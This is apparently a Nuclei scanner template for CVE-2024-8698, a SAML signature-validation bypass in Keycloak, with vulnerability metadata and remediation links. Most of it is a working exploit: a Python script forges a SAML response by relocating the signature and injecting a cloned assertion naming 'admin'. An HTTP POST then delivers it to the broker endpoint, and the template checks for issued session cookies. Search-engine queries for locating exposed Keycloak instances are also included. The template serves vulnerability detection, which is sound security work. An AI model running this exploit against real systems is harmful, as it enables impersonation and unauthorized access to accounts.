id: CVE-2024-8698

info:
  name: Keycloak - SAML Core Package Signature Validation Flaw
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.
  impact: |
    Attackers can create crafted SAML responses that bypass signature validation, potentially leading to privilege escalation, impersonation attacks, and unauthorized access to protected resources in Keycloak.
  remediation: |
    Apply Red Hat security updates (RHSA-2024:6878, RHSA-2024:6879, RHSA-2024:6880, RHSA-2024:6882) to address the SAML signature validation flaw in Keycloak XMLSignatureUtil class.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8698
    - https://access.redhat.com/errata/RHSA-2024:6878
    - https://access.redhat.com/errata/RHSA-2024:6879
    - https://access.redhat.com/errata/RHSA-2024:6880
    - https://access.redhat.com/errata/RHSA-2024:6882
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L
    cvss-score: 7.7
    cve-id: CVE-2024-8698
    cwe-id: CWE-347
    epss-score: 0.02043
    epss-percentile: 0.78657
  metadata:
    verified: true
    max-request: 1
    vendor: redhat
    product: keycloak
    shodan-query: http.favicon.hash:"-1105083093"
    fofa-query: icon_hash=-1105083093
    google-query: intitle:"keycloak"
  tags: cve,cve2024,keycloak,saml,signature,vuln

variables:
  AUTH_SESSION_ID_LEGACY: "{{auth_cookie}}" # Cookie of the valid SAMLResponse message
  RELAYSTATE: "{{relayState}}" # Relaystate linked to the Cookie

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      import os
      import base64
      import urllib.parse
      from lxml import etree

      # Get environment variables
      username = b'admin@example.com'
      saml_response = os.getenv('SAMLResponse')
      username = os.getenv('username')
      if not username:
          username='admin'
      # Decode and parse the SAML response
      xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
      parser = etree.XMLParser(remove_blank_text=True)
      root = etree.fromstring(xml_content, parser)

      # Define namespaces
      namespaces = {
          'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
          'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
          'ds': 'http://www.w3.org/2000/09/xmldsig#'
      }

      # Find the <ds:Signature> element inside the root
      response_signature = root.find('.//ds:Signature', namespaces)
      if response_signature is not None:
          root.remove(response_signature)  # Remove the <ds:Signature> element from the root

      # Find the <saml:Assertion> element (this is the old assertion)
      old_ass = root.find('.//saml:Assertion', namespaces)
      ass_signode = old_ass.find('./ds:Signature',namespaces)
      if ass_signode is not None:
          old_ass.remove(ass_signode)
      issuer = root.find('.//saml:Issuer', namespaces)
      issuer.addnext(ass_signode)
      mod_ass = etree.fromstring(etree.tostring(old_ass))
      mod_ass.find('.//saml:NameID',namespaces).text = username
      for s in mod_ass.findall('.//saml:AttributeValue',namespaces):
              s.text = username
      mod_ass.attrib['ID'] = mod_ass.attrib['ID'][:-1]
      resp_issuer = root.find('.//samlp:Status', namespaces)
      resp_issuer.addnext(mod_ass)


      modified_saml_response = etree.tostring(root, pretty_print=False, encoding='UTF-8', xml_declaration=False).decode('utf-8')
      print(modified_saml_response)

http:
  - raw:
      - |
        POST /realms/master/broker/saml/endpoint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: AUTH_SESSION_ID_LEGACY={{AUTH_SESSION_ID_LEGACY}}

        RelayState={{RELAYSTATE}}&SAMLResponse={{urlencode(base64(code_response))}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(header,"KEYCLOAK_IDENTITY","KEYCLOAK_SESSION")'
        condition: and
# digest: 4a0a00473045022028c48990e9700b3e0335b07e0bbc3753232759d2f74d8484d2e7ac0c63580c34022100fd1579f948629cf749ceead88e85eea7fa887cb6e4ee1fe51443351287f3eb7a:922c64590222798bb761d5b6d8e72950